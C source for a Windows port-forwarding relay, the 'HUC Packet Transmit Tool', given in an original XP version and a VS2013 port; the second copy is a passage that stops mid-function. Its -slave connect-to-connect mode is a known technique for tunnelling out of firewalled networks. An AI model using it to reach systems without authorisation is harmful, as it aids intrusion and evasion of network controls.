Windows XP +VC6.0 原版
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <signal.h>
#include <errno.h>
#include <io.h> 
#pragma comment(lib, "ws2_32.lib")

#define VERSION "1.00"
#define TIMEOUT 300
#define MAXSIZE 20480
#define HOSTLEN 40
#define CONNECTNUM 5

// define 2 socket struct
struct transocket
{
	SOCKET fd1;
	SOCKET fd2;
};

// define function 
void ver();
void usage(char *prog);
void transmitdata(LPVOID data);
void getctrlc(int j);
void closeallfd();
void makelog(char *buffer, int length);
void proxy(int port);
void bind2bind(int port1, int port2);
void bind2conn(int port1, char *host, int port2);
void conn2conn(char *host1, int port1, char *host2, int port2);
int testifisvalue(char *str);
int create_socket();
int create_server(int sockfd, int port);
int client_connect(int sockfd, char* server, int port);

// define GLOBAL variable here
extern int errno;
FILE *fp;
int method = 0;
//int connectnum=0;

//************************************************************************************
// 
// function main 主要是處理用戶參數輸入的問題
//
//************************************************************************************
VOID main(int argc, char* argv[])
{
	char **p;
	char sConnectHost[HOSTLEN], sTransmitHost[HOSTLEN];
	int iConnectPort = 0, iTransmitPort = 0;
	char *logfile = NULL;

	ver();
	memset(sConnectHost, 0, HOSTLEN);
	memset(sTransmitHost, 0, HOSTLEN);

	p = argv;
	while (*p)
	{
		if (stricmp(*p, "-log") == 0)
		{
			if (testifisvalue(*(p + 1)))
			{
				logfile = *(++p);
			}
			else
			{
				printf("[-] ERROR: Must supply logfile name.\r\n");
				return;
			}
			p++;
			continue;
		}
		p++;
	}

	if (logfile != NULL)
	{
		fp = fopen(logfile, "a");
		if (fp == NULL)
		{
			printf("[-] ERROR: open logfile");
			return;
		}

		makelog("====== Start ======\r\n", 22);
	}


	// Win Start Winsock.
	WSADATA wsadata;
	WSAStartup(MAKEWORD(2, 2), &wsadata);

	signal(SIGINT, &getctrlc);

	if (argc > 2)
	{
		if (stricmp(argv[1], "-listen") == 0 && argc >= 4)
		{
			iConnectPort = atoi(argv[2]);
			iTransmitPort = atoi(argv[3]);
			method = 1;
		}
		else
			if (stricmp(argv[1], "-tran") == 0 && argc >= 5)
			{
				iConnectPort = atoi(argv[2]);
				strncpy(sTransmitHost, argv[3], HOSTLEN);
				iTransmitPort = atoi(argv[4]);
				method = 2;
			}
			else
				if (stricmp(argv[1], "-slave") == 0 && argc >= 6)
				{
					strncpy(sConnectHost, argv[2], HOSTLEN);
					iConnectPort = atoi(argv[3]);
					strncpy(sTransmitHost, argv[4], HOSTLEN);
					iTransmitPort = atoi(argv[5]);
					method = 3;
				}
	}

	switch (method)
	{
	case 1:
		bind2bind(iConnectPort, iTransmitPort);
		break;
	case 2:
		bind2conn(iConnectPort, sTransmitHost, iTransmitPort);
		break;
	case 3:
		conn2conn(sConnectHost, iConnectPort, sTransmitHost, iTransmitPort);
		break;
	default:
		usage(argv[0]);
		break;
	}

	if (method)
	{
		closeallfd();
	}

	WSACleanup();

	return;
}


//************************************************************************************
// 
// print version message
//
//************************************************************************************
VOID ver()
{
	printf("======================== HUC Packet Transmit Tool V%s =======================\r\n", VERSION);
	printf("=========== Code by lion & bkbll, Welcome to http://www.cnhonker.com==========\r\n\n");
}

//************************************************************************************
// 
// print usage message
//
//************************************************************************************
VOID usage(char* prog)
{
	printf("[Usage of Packet Transmit:]\r\n");
	printf(" %s - [-log logfile]\n\n", prog);
	printf("[option:]\n");
	printf(" -listen \n");
	printf(" -tran \n");
	printf(" -slave \n\n");
	return;
}

//************************************************************************************
// 
// test if is value 
//
//************************************************************************************
int testifisvalue(char *str)
{
	if (str == NULL) return(0);
	if (str[0] == '-') return(0);
	return(1);
}

//************************************************************************************
// 
// LocalHost:ConnectPort transmit to LocalHost:TransmitPort
//
//************************************************************************************
void bind2bind(int port1, int port2)
{
	SOCKET fd1, fd2, sockfd1, sockfd2;
	struct sockaddr_in client1, client2;
	int size1, size2;

	HANDLE hThread = NULL;
	transocket sock;
	DWORD dwThreadID;

	if ((fd1 = create_socket()) == 0) return;
	if ((fd2 = create_socket()) == 0) return;

	printf("[+] Listening port %d ......\r\n", port1);
	fflush(stdout);

	if (create_server(fd1, port1) == 0)
	{
		closesocket(fd1);
		return;
	}

	printf("[+] Listen OK!\r\n");
	printf("[+] Listening port %d ......\r\n", port2);
	fflush(stdout);
	if (create_server(fd2, port2) == 0)
	{
		closesocket(fd2);
		return;
	}

	printf("[+] Listen OK!\r\n");
	size1 = size2 = sizeof(struct sockaddr);
	while (1)
	{
		printf("[+] Waiting for Client on port:%d ......\r\n", port1);
		if ((sockfd1 = accept(fd1, (struct sockaddr *)&client1, &size1))<0)
		{
			printf("[-] Accept1 error.\r\n");
			continue;
		}

		printf("[+] Accept a Client on port %d from %s ......\r\n", port1, inet_ntoa(client1.sin_addr));
		printf("[+] Waiting another Client on port:%d....\r\n", port2);
		if ((sockfd2 = accept(fd2, (struct sockaddr *)&client2, &size2))<0)
		{
			printf("[-] Accept2 error.\r\n");
			closesocket(sockfd1);
			continue;
		}

		printf("[+] Accept a Client on port %d from %s\r\n", port2, inet_ntoa(client2.sin_addr));
		printf("[+] Accept Connect OK!\r\n");

		sock.fd1 = sockfd1;
		sock.fd2 = sockfd2;

		hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);
		if (hThread == NULL)
		{
			TerminateThread(hThread, 0);
			return;
		}

		Sleep(1000);
		printf("[+] CreateThread OK!\r\n\n");
	}
}

//************************************************************************************
// 
// LocalHost:ConnectPort transmit to TransmitHost:TransmitPort
//
//************************************************************************************
void bind2conn(int port1, char *host, int port2)
{
	SOCKET sockfd, sockfd1, sockfd2;
	struct sockaddr_in remote;
	int size;
	char buffer[1024];

	HANDLE hThread = NULL;
	transocket sock;
	DWORD dwThreadID;

	if (port1 > 65535 || port1 < 1)
	{
		printf("[-] ConnectPort invalid.\r\n");
		return;
	}

	if (port2 > 65535 || port2 < 1)
	{
		printf("[-] TransmitPort invalid.\r\n");
		return;
	}

	memset(buffer, 0, 1024);
	if ((sockfd = create_socket()) == INVALID_SOCKET) return;

	if (create_server(sockfd, port1) == 0)
	{
		closesocket(sockfd);
		return;
	}

	size = sizeof(struct sockaddr);
	while (1)
	{
		printf("[+] Waiting for Client ......\r\n");
		if ((sockfd1 = accept(sockfd, (struct sockaddr *)&remote, &size))<0)
		{
			printf("[-] Accept error.\r\n");
			continue;
		}

		printf("[+] Accept a Client from %s:%d ......\r\n",
			inet_ntoa(remote.sin_addr), ntohs(remote.sin_port));
		if ((sockfd2 = create_socket()) == 0)
		{
			closesocket(sockfd1);
			continue;
		}
		printf("[+] Make a Connection to %s:%d ......\r\n", host, port2);
		fflush(stdout);

		if (client_connect(sockfd2, host, port2) == 0)
		{
			closesocket(sockfd2);
			sprintf(buffer, "[SERVER]connection to %s:%d error\r\n", host, port2);
			send(sockfd1, buffer, strlen(buffer), 0);
			memset(buffer, 0, 1024);
			closesocket(sockfd1);
			continue;
		}

		printf("[+] Connect OK!\r\n");

		sock.fd1 = sockfd1;
		sock.fd2 = sockfd2;

		hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);
		if (hThread == NULL)
		{
			TerminateThread(hThread, 0);
			return;
		}

		Sleep(1000);
		printf("[+] CreateThread OK!\r\n\n");
	}
}

//************************************************************************************
// 
// ConnectHost:ConnectPort transmit to TransmitHost:TransmitPort
//
//************************************************************************************
void conn2conn(char *host1, int port1, char *host2, int port2)
{
	SOCKET sockfd1, sockfd2;

	HANDLE hThread = NULL;
	transocket sock;
	DWORD dwThreadID;
	fd_set fds;
	int l;
	char buffer[MAXSIZE];

	while (1)
	{

		if ((sockfd1 = create_socket()) == 0) return;
		if ((sockfd2 = create_socket()) == 0) return;

		printf("[+] Make a Connection to %s:%d....\r\n", host1, port1);
		fflush(stdout);
		if (client_connect(sockfd1, host1, port1) == 0)
		{
			closesocket(sockfd1);
			closesocket(sockfd2);
			continue;
		}

		// fix by bkbll 
		// if host1:port1 recved data, than connect to host2,port2
		l = 0;
		memset(buffer, 0, MAXSIZE);
		while (1)
		{
			FD_ZERO(&fds);
			FD_SET(sockfd1, &fds);
			if (select(sockfd1 + 1, &fds, NULL, NULL, NULL) == SOCKET_ERROR)
			{
				if (errno == WSAEINTR) continue;
				break;
			}
			if (FD_ISSET(sockfd1, &fds))
			{
				l = recv(sockfd1, buffer, MAXSIZE, 0);
				break;
			}
			Sleep(5);
		}

		if (l <= 0)
		{
			printf("[-] There is a error...Create a new connection.\r\n");
			continue;
		}
		while (1)
		{
			printf("[+] Connect OK!\r\n");
			printf("[+] Make a Connection to %s:%d....\r\n", host2, port2);
			fflush(stdout);
			if (client_connect(sockfd2, host2, port2) == 0)
			{
				closesocket(sockfd1);
				closesocket(sockfd2);
				continue;
			}

			if (send(sockfd2, buffer, l, 0) == SOCKET_ERROR)
			{
				printf("[-] Send failed.\r\n");
				continue;
			}

			l = 0;
			memset(buffer, 0, MAXSIZE);
			break;
		}

		printf("[+] All Connect OK!\r\n");

		sock.fd1 = sockfd1;
		sock.fd2 = sockfd2;

		hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);
		if (hThread == NULL)
		{
			TerminateThread(hThread, 0);
			return;
		}

		// connectnum++;

		Sleep(1000);
		printf("[+] CreateThread OK!\r\n\n");
	}
}

//************************************************************************************
// 
// Socket Transmit to Socket
//
//************************************************************************************
void transmitdata(LPVOID data)
{
	SOCKET fd1, fd2;
	transocket *sock;
	struct timeval timeset;
	fd_set readfd, writefd;
	int result, i = 0;
	char read_in1[MAXSIZE], send_out1[MAXSIZE];
	char read_in2[MAXSIZE], send_out2[MAXSIZE];
	int read1 = 0, totalread1 = 0, send1 = 0;
	int read2 = 0, totalread2 = 0, send2 = 0;
	int sendcount1, sendcount2;
	int maxfd;
	struct sockaddr_in client1, client2;
	int structsize1, structsize2;
	char host1[20], host2[20];
	int port1 = 0, port2 = 0;
	char tmpbuf[100];

	sock = (transocket *)data;
	fd1 = sock->fd1;
	fd2 = sock->fd2;

	memset(host1, 0, 20);
	memset(host2, 0, 20);
	memset(tmpbuf, 0, 100);

	structsize1 = sizeof(struct sockaddr);
	structsize2 = sizeof(struct sockaddr);

	if (getpeername(fd1, (struct sockaddr *)&client1, &structsize1)<0)
	{
		strcpy(host1, "fd1");
	}
	else
	{
		// printf("[+]got, ip:%s, port:%d\r\n",inet_ntoa(client1.sin_addr),ntohs(client1.sin_port));
		strcpy(host1, inet_ntoa(client1.sin_addr));
		port1 = ntohs(client1.sin_port);
	}

	if (getpeername(fd2, (struct sockaddr *)&client2, &structsize2)<0)
	{
		strcpy(host2, "fd2");
	}
	else
	{
		// printf("[+]got, ip:%s, port:%d\r\n",inet_ntoa(client2.sin_addr),ntohs(client2.sin_port));
		strcpy(host2, inet_ntoa(client2.sin_addr));
		port2 = ntohs(client2.sin_port);
	}

	printf("[+] Start Transmit (%s:%d <-> %s:%d) ......\r\n\n", host1, port1, host2, port2);

	maxfd = max(fd1, fd2) + 1;
	memset(read_in1, 0, MAXSIZE);
	memset(read_in2, 0, MAXSIZE);
	memset(send_out1, 0, MAXSIZE);
	memset(send_out2, 0, MAXSIZE);

	timeset.tv_sec = TIMEOUT;
	timeset.tv_usec = 0;

	while (1)
	{
		FD_ZERO(&readfd);
		FD_ZERO(&writefd);

		FD_SET((UINT)fd1, &readfd);
		FD_SET((UINT)fd1, &writefd);
		FD_SET((UINT)fd2, &writefd);
		FD_SET((UINT)fd2, &readfd);

		result = select(maxfd, &readfd, &writefd, NULL, &timeset);
		if ((result<0) && (errno != EINTR))
		{
			printf("[-] Select error.\r\n");
			break;
		}
		else if (result == 0)
		{
			printf("[-] Socket time out.\r\n");
			break;
		}

		if (FD_ISSET(fd1, &readfd))
		{
			/* must < MAXSIZE-totalread1, otherwise send_out1 will flow */
			if (totalread1 < MAXSIZE

				) {
				read1 = recv(fd1, read_in1, MAXSIZE - totalread1, 0);
				if ((read1 == SOCKET_ERROR) || (read1 == 0))
				{
					printf("[-] Read fd1 data error,maybe close?\r\n");
					break;
				}

				memcpy(send_out1 + totalread1, read_in1, read1);
				sprintf(tmpbuf, "\r\nRecv %5d bytes from %s:%d\r\n", read1, host1, port1);
				printf(" Recv %5d bytes %16s:%d\r\n", read1, host1, port1);
				makelog(tmpbuf, strlen(tmpbuf));
				makelog(read_in1, read1);
				totalread1 += read1;
				memset(read_in1, 0, MAXSIZE);
			}
		}

		if (FD_ISSET(fd2, &writefd))
		{
			int err = 0;
			sendcount1 = 0;
			while (totalread1>0)
			{
				send1 = send(fd2, send_out1 + sendcount1, totalread1, 0);
				if (send1 == 0)break;
				if ((send1<0) && (errno != EINTR))
				{
					printf("[-] Send to fd2 unknow error.\r\n");
					err = 1;
					break;
				}

				if ((send1<0) && (errno == ENOSPC)) break;
				sendcount1 += send1;
				totalread1 -= send1;

				printf(" Send %5d bytes %16s:%d\r\n", send1, host2, port2);
			}

			if (err == 1) break;
			if ((totalread1>0) && (sendcount1>0))
			{
				/* move not sended data to start addr */
				memcpy(send_out1, send_out1 + sendcount1, totalread1);
				memset(send_out1 + totalread1, 0, MAXSIZE - totalread1);
			}
			else
				memset(send_out1, 0, MAXSIZE);
		}

		if (FD_ISSET(fd2, &readfd))
		{
			if (totalread2 < MAXSIZE

				) {
				read2 = recv(fd2, read_in2, MAXSIZE - totalread2, 0);
				if (read2 == 0)break;
				if ((read2<0) && (errno != EINTR))
				{
					printf("[-] Read fd2 data error,maybe close?\r\n\r\n");
					break;
				}

				memcpy(send_out2 + totalread2, read_in2, read2);
				sprintf(tmpbuf, "\r\nRecv %5d bytes from %s:%d\r\n", read2, host2, port2);
				printf(" Recv %5d bytes %16s:%d\r\n", read2, host2, port2);
				makelog(tmpbuf, strlen(tmpbuf));
				makelog(read_in2, read2);
				totalread2 += read2;
				memset(read_in2, 0, MAXSIZE);
			}
		}

		if (FD_ISSET(fd1, &writefd))
		{
			int err2 = 0;
			sendcount2 = 0;
			while (totalread2>0)
			{
				send2 = send(fd1, send_out2 + sendcount2, totalread2, 0);
				if (send2 == 0)break;
				if ((send2<0) && (errno != EINTR))
				{
					printf("[-] Send to fd1 unknow error.\r\n");
					err2 = 1;
					break;
				}
				if ((send2<0) && (errno == ENOSPC)) break;
				sendcount2 += send2;
				totalread2 -= send2;

				printf(" Send %5d bytes %16s:%d\r\n", send2, host1, port1);
			}
			if (err2 == 1) break;
			if ((totalread2>0) && (sendcount2 > 0))
			{
				/* move not sended data to start addr */
				memcpy(send_out2, send_out2 + sendcount2, totalread2);
				memset(send_out2 + totalread2, 0, MAXSIZE - totalread2);
			}
			else
				memset(send_out2, 0, MAXSIZE);
		}

		Sleep(5);
	}

	closesocket(fd1);
	closesocket(fd2);
	printf("\r\n[+] OK! I Closed The Two Socket.\r\n");
}

void getctrlc(int j)
{
	printf("\r\n[-] Received Ctrl+C\r\n");
	closeallfd();
	exit(0);
}

void closeallfd()
{
	int i;

	printf("[+] Let me exit ......\r\n");
	fflush(stdout);

	for (i = 3; i<256; i++)
	{
		closesocket(i);
	}

	if (fp != NULL)
	{
		fprintf(fp, "\r\n====== Exit ======\r\n");
		fclose(fp);
	}

	printf("[+] All Right!\r\n");
}

int create_socket()
{
	int sockfd;

	sockfd = socket(AF_INET, SOCK_STREAM, 0);
	if (sockfd<0)
	{
		printf("[-] Create socket error.\r\n");
		return(0);
	}

	return(sockfd);
}

int create_server(int sockfd, int port)
{
	struct sockaddr_in srvaddr;
	int on = 1;

	memset(&srvaddr, 0, sizeof(struct sockaddr));

	srvaddr.sin_port = htons(port);
	srvaddr.sin_family = AF_INET;
	srvaddr.sin_addr.s_addr = htonl(INADDR_ANY);

	setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char*)&on, sizeof(on)); //so I can rebind the port

	if (bind(sockfd, (struct sockaddr *)&srvaddr, sizeof(struct sockaddr))<0)
	{
		printf("[-] Socket bind error.\r\n");
		return(0);
	}

	if (listen(sockfd, CONNECTNUM)<0)
	{
		printf("[-] Socket Listen error.\r\n");
		return(0);
	}

	return(1);
}

int client_connect(int sockfd, char* server, int port)
{
	struct sockaddr_in cliaddr;
	struct hostent *host;

	if (!(host = gethostbyname(server)))
	{
		printf("[-] Gethostbyname(%s) error:%s\n", server, strerror(errno));
		return(0);
	}

	memset(&cliaddr, 0, sizeof(struct sockaddr));
	cliaddr.sin_family = AF_INET;
	cliaddr.sin_port = htons(port);
	cliaddr.sin_addr = *((struct in_addr *)host->h_addr);

	if (connect(sockfd, (struct sockaddr *)&cliaddr, sizeof(struct sockaddr))<0)
	{
		printf("[-] Connect error.\r\n");
		return(0);
	}
	return(1);
}

void makelog(char *buffer, int length)
{
	if (fp != NULL)
	{
		write(fileno(fp), buffer, length);
	}
}
Windows7 64+VS2013 原版
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define  _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <signal.h>
#include <errno.h>
#include <io.h> 
#pragma comment(lib, "ws2_32.lib")
#define VERSION "1.00"
#define TIMEOUT 300
#define MAXSIZE 20480
#define HOSTLEN 40
#define CONNECTNUM 5
// define 2 socket struct
struct transocket
{
	SOCKET fd1;
	SOCKET fd2;
};
// define function 
void ver();
void usage(char *prog);
void transmitdata(LPVOID data);
void getctrlc(int j);
void closeallfd();
void makelog(char *buffer, int length);
void proxy(int port);
void bind2bind(int port1, int port2);
void bind2conn(int port1, char *host, int port2);
void conn2conn(char *host1, int port1, char *host2, int port2);
int testifisvalue(char *str);
int create_socket();
int create_server(int sockfd, int port);
int client_connect(int sockfd, char* server, int port);
// define GLOBAL variable here
//int error;
FILE *fp;
int method = 0;
//int connectnum=0;
//************************************************************************************
// 
// function main 主要是處理用戶參數輸入的問題
//
//************************************************************************************
VOID main(int argc, char* argv[])
{
	char **p;
	char sConnectHost[HOSTLEN], sTransmitHost[HOSTLEN];
	int iConnectPort = 0, iTransmitPort = 0;
	char *logfile = NULL;
	errno_t err;
	ver();
	memset(sConnectHost, 0, HOSTLEN);
	memset(sTransmitHost, 0, HOSTLEN);
	p = argv;
	while (*p)
	{
		if (_stricmp(*p, "-log") == 0)
		{
			if (testifisvalue(*(p + 1)))
			{
				logfile = *(++p);
			}
			else
			{
				printf("[-] ERROR: Must supply logfile name.\r\n");
				return;
			}
			//p++;
			continue;
		}
		p++;
	}
	if (logfile != NULL)
	{
		//fp = fopen(logfile, "a");
		err = fopen_s(&fp, logfile, "a");
		if (fp == NULL)
		{
			printf("[-] ERROR: open logfile");
			return;
		}
		makelog("====== Start ======\r\n", 22);
	}
	// Win Start Winsock.
	WSADATA wsadata;
	WSAStartup(MAKEWORD(2, 2), &wsadata);
	signal(SIGINT, &getctrlc);
	if (argc > 2)
	{
		if (_stricmp(argv[1], "-listen") == 0 && argc >= 4)
		{
			iConnectPort = atoi(argv[2]);
			iTransmitPort = atoi(argv[3]);
			method = 1;
		}
		else
			if (_stricmp(argv[1], "-tran") == 0 && argc >= 5)
			{
				iConnectPort = atoi(argv[2]);
				strncpy_s(sTransmitHost, argv[3], HOSTLEN);
				iTransmitPort = atoi(argv[4]);
				method = 2;
			}
			else
				if (_stricmp(argv[1], "-slave") == 0 && argc >= 6)
				{
					strncpy_s(sConnectHost, argv[2], HOSTLEN);
					iConnectPort = atoi(argv[3]);
					strncpy_s(sTransmitHost, argv[4], HOSTLEN);
					iTransmitPort = atoi(argv[5]);
					method = 3;
				}
	}
	switch (method)
	{
	case 1:
		bind2bind(iConnectPort, iTransmitPort);
		break;
	case 2:
		bind2conn(iConnectPort, sTransmitHost, iTransmitPort);
		break;
	case 3:
		conn2conn(sConnectHost, iConnectPort, sTransmitHost, iTransmitPort);
		break;
	default:
		usage(argv[0]);
		break;
	}
	if (method)
	{
		closeallfd();
	}
	WSACleanup();
	return;
}
//************************************************************************************
// 
// print version message
//
//************************************************************************************
VOID ver()
{
	printf("======================== Port Forwarding Tool V%s =======================\r\n", VERSION);
	printf("========================== Improved by pandas ===========================\r\n\n");
}
//************************************************************************************
// 
// print usage message
//
//************************************************************************************
VOID usage(char* prog)
{
	printf("[Usage of Packet Transmit:]\r\n");
	printf(" %s - [-log logfile]\n\n", prog);
	printf("[option:]\n");
	printf(" -listen \n");
	printf(" -tran \n");
	printf(" -slave \n\n");
	return;
}
//************************************************************************************
// 
// test if is value 
//
//************************************************************************************
int testifisvalue(char *str)
{
	if (str == NULL) return(0);
	if (str[0] == '-') return(0);
	return(1);
}
//************************************************************************************
// 
// LocalHost:ConnectPort transmit to LocalHost:TransmitPort
//
//************************************************************************************
void bind2bind(int port1, int port2)
{
	SOCKET fd1, fd2, sockfd1, sockfd2;
	struct sockaddr_in client1, client2;
	int size1, size2;
	HANDLE hThread = NULL;
	transocket sock;
	DWORD dwThreadID;
	if ((fd1 = create_socket()) == 0) return;
	if ((fd2 = create_socket()) == 0) return;
	printf("[+] Listening port %d ......\r\n", port1);
	fflush(stdout);
	if (create_server(fd1, port1) == 0)
	{
		closesocket(fd1);
		return;
	}
	printf("[+] Listen OK!\r\n");
	printf("[+] Listening port %d ......\r\n", port2);
	fflush(stdout);
	if (create_server(fd2, port2) == 0)
	{
		closesocket(fd2);
		return;
	}
	printf("[+] Listen OK!\r\n");
	size1 = size2 = sizeof(struct sockaddr);
	while (1)
	{
		printf("[+] Waiting for Client on port:%d ......\r\n", port1);
		if ((sockfd1 = accept(fd1, (struct sockaddr *)&client1, &size1))<0)
		{
			printf("[-] Accept1 error.\r\n");
			continue;
		}
		printf("[+] Accept a Client on port %d from %s ......\r\n", port1, inet_ntoa(client1.sin_addr));
		printf("[+] Waiting another Client on port:%d....\r\n", port2);
		if ((sockfd2 = accept(fd2, (struct sockaddr *)&client2, &size2))<0)
		{
			printf("[-] Accept2 error.\r\n");
			closesocket(sockfd1);
			continue;
		}
		printf("[+] Accept a Client on port %d from %s\r\n", port2, inet_ntoa(client2.sin_addr));
		printf("[+] Accept Connect OK!\r\n");
		sock.fd1 = sockfd1;
		sock.fd2 = sockfd2;
		hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);
		if (hThread == NULL)
		{
			TerminateThread(hThread, 0);
			return;
		}
		Sleep(1000);
		printf("[+] CreateThread OK!\r\n\n");
	}
}
//************************************************************************************
// 
// LocalHost:ConnectPort transmit to TransmitHost:TransmitPort
//
//************************************************************************************
void bind2conn(int port1, char *host, int port2)
{
	SOCKET sockfd, sockfd1, sockfd2;
	struct sockaddr_in remote;
	int size;
	char buffer[1024];
	HANDLE hThread = NULL;
	transocket sock;
	DWORD dwThreadID;
	if (port1 > 65535 || port1 < 1)
	{
		printf("[-] ConnectPort invalid.\r\n");
		return;
	}
	if (port2 > 65535 || port2 < 1)
	{
		printf("[-] TransmitPort invalid.\r\n");
		return;
	}
	memset(buffer, 0, 1024);
	if ((sockfd = create_socket()) == INVALID_SOCKET) return;
	if (create_server(sockfd, port1) == 0)
	{
		closesocket(sockfd);
		return;
	}
	size = sizeof(struct sockaddr);
	while (1)
	{
		printf("[+] Waiting for Client ......\r\n");
		if ((sockfd1 = accept(sockfd, (struct sockaddr *)&remote, &size))<0)
		{
			printf("[-] Accept error.\r\n");
			continue;
		}
		printf("[+] Accept a Client from %s:%d ......\r\n",
			inet_ntoa(remote.sin_addr), ntohs(remote.sin_port));
		if ((sockfd2 = create_socket()) == 0)
		{
			closesocket(sockfd1);
			continue;
		}
		printf("[+] Make a Connection to %s:%d ......\r\n", host, port2);
		fflush(stdout);
		if (client_connect(sockfd2, host, port2) == 0)
		{
			closesocket(sockfd2);
			sprintf_s(buffer, "[SERVER]connection to %s:%d error\r\n", host, port2);
			send(sockfd1, buffer, strlen(buffer), 0);
			memset(buffer, 0, 1024);
			closesocket(sockfd1);
			continue;
		}
		printf("[+] Connect OK!\r\n");
		sock.fd1 = sockfd1;
		sock.fd2 = sockfd2;
		hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);
		if (hThread == NULL)
		{
			TerminateThread(hThread, 0);
			return;
		}
		Sleep(1000);
		printf("[+] CreateThread OK!\r\n\n");
	}
}
//************************************************************************************
// 
// ConnectHost:ConnectPort transmit to TransmitHost:TransmitPort
//
//************************************************************************************
void conn2conn(char *host1, int port1, char *host2, int port2)
{
	SOCKET sockfd1, sockfd2;
	HANDLE hThread = NULL;
	transocket sock;
	DWORD dwThreadID;
	fd_set fds;
	int l;
	char buffer[MAXSIZE];
	while (1)
	{
		/*
		while(connectnum)
		{
		if(connectnum < CONNECTNUM)
		{
		Sleep(10000);
		break;
		}
		else
		{
		Sleep(TIMEOUT*1000);
		continue;
		}
		}
		*/
		if ((sockfd1 = create_socket()) == 0) return;
		if ((sockfd2 = create_socket()) == 0) return;
		printf("[+] Make a Connection to %s:%d....\r\n", host1, port1);
		fflush(stdout);
		if (client_connect(sockfd1, host1, port1) == 0)
		{
			closesocket(sockfd1);
			closesocket(sockfd2);
			continue;
		}
		// fix by bkbll 
		// if host1:port1 recved data, than connect to host2,port2
		l = 0;
		memset(buffer, 0, MAXSIZE);
		while (1)
		{
			FD_ZERO(&fds);
			FD_SET(sockfd1, &fds);
			if (select(sockfd1 + 1, &fds, NULL, NULL, NULL) == SOCKET_ERROR)
			{
				if (errno == WSAEINTR) continue;
				break;
			}
			if (FD_ISSET(sockfd1, &fds))
			{
				l = recv(sockfd1, buffer, MAXSIZE, 0);
				break;
			}
			Sleep(5);
		}
		if (l <= 0)
		{
			printf("[-] There is a error...Create a new connection.\r\n");
			continue;
		}
		while (1)
		{
			printf("[+] Connect OK!\r\n");
			printf("[+] Make a Connection to %s:%d....\r\n", host2, port2);
			fflush(stdout);
			if (client_connect(sockfd2, host2, port2) == 0)
			{
				closesocket(sockfd1);
				closesocket(sockfd2);
				continue;
			}
			if (send(sockfd2, buffer, l, 0) == SOCKET_ERROR)
			{
				printf("[-] Send failed.\r\n");
				continue;
			}
			l = 0;
			memset(buffer, 0, MAXSIZE);
			break;
		}
		printf("[+] All Connect OK!\r\n");
		sock.fd1 = sockfd1;
		sock.fd2 = sockfd2;
		hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);
		if (hThread == NULL)
		{
			TerminateThread(hThread, 0);
			return;
		}
		// connectnum++;
		Sleep(1000);
		printf("[+] CreateThread OK!\r\n\n");
	}
}
//************************************************************************************
// 
// Socket Transmit to Socket
//
//************************************************************************************
void transmitdata(LPVOID data)
{
	SOCKET fd1, fd2;
	transocket *sock;
	struct timeval timeset;
	fd_set readfd, writefd;
	int result, i = 0;
	char read_in1[MAXSIZE], send_out1[MAXSIZE];
	char read_in2[MAXSIZE], send_out2[MAXSIZE];
	int read1 = 0, totalread1 = 0, send1 = 0;
	int read2 = 0, totalread2 = 0, send2 = 0;
	int sendcount1, sendcount2;
	int maxfd;
	struct sockaddr_in client1, client2;
	int structsize1, structsize2;
	char host1[20], host2[20];
	int port1 = 0, port2 = 0;
	char tmpbuf[100];
	sock = (transocket *)data;
	fd1 = sock->fd1;
	fd2 = sock->fd2;
	memset(host1, 0, 20);
	memset(host2, 0, 20);
	memset(tmpbuf, 0, 100);
	structsize1 = sizeof(struct sockaddr);
	structsize2 = sizeof(struct sockaddr);
	if (getpeername(fd1, (struct sockaddr *)&client1, &structsize1)<0)
	{
		strcpy_s(host1, "fd1");
	}
	else
	{
		// printf("[+]got, ip:%s, port:%d\r\n",inet_ntoa(client1.sin_addr),ntohs(client1.sin_port));
		strcpy_s(host1, inet_ntoa(client1.sin_addr));
		port1 = ntohs(client1.sin_port);
	}
	if (getpeername(fd2, (struct sockaddr *)&client2, &structsize2)<0)
	{
		strcpy_s(host2, "fd2");
	}
	else
	{
		// printf("[+]got, ip:%s, port:%d\r\n",inet_ntoa(client2.sin_addr),ntohs(client2.sin_port));
		strcpy_s(host2, inet_ntoa(client2.sin_addr));
		port2 = ntohs(client2.sin_port);
	}
	printf("[+] Start Transmit (%s:%d <-> %s:%d) ......\r\n\n", host1, port1, host2, port2);
	maxfd = max(fd1, fd2) + 1;
	memset(read_in1, 0, MAXSIZE);
	memset(read_in2, 0, MAXSIZE);
	memset(send_out1, 0, MAXSIZE);
	memset(send_out2, 0, MAXSIZE);
	timeset.tv_sec = TIMEOUT;
	timeset.tv_usec = 0;
	while (1)
	{
		FD_ZERO(&readfd);
		FD_ZERO(&writefd);
		FD_SET((UINT)fd1, &readfd);
		FD_SET((UINT)fd1, &writefd);
		FD_SET((UINT)fd2, &writefd);
		FD_SET((UINT)fd2, &readfd);
		result = select(maxfd, &readfd, &writefd, NULL, &timeset);
		if ((result<0) && (errno != EINTR))
		{
			printf("[-] Select error.\r\n");
			break;
		}
		else if (result == 0)
		{
			printf("[-] Socket time out.\r\n");
			break;
		}
		if (FD_ISSET(fd1, &readfd))
		{
			/* must < MAXSIZE-totalread1, otherwise send_out1 will flow */
			if (totalread1 < MAXSIZE) {
				read1 = recv(fd1, read_in1, MAXSIZE - totalread1, 0);
				if ((read1 == SOCKET_ERROR) || (read1 == 0))
				{
					printf("[-] Read fd1 data error,maybe close?\r\n");
					break;
				}
				memcpy(send_out1 + totalread1, read_in1, read1);
				sprintf_s(tmpbuf, "\r\nRecv %5d bytes from %s:%d\r\n", read1, host1, port1);
				printf(" Recv %5d bytes %16s:%d\r\n", read1, host1, port1);
				makelog(tmpbuf, strlen(tmpbuf));
				makelog(read_in1, read1);
				totalread1 += read1;
				memset(read_in1, 0, MAXSIZE);
			}
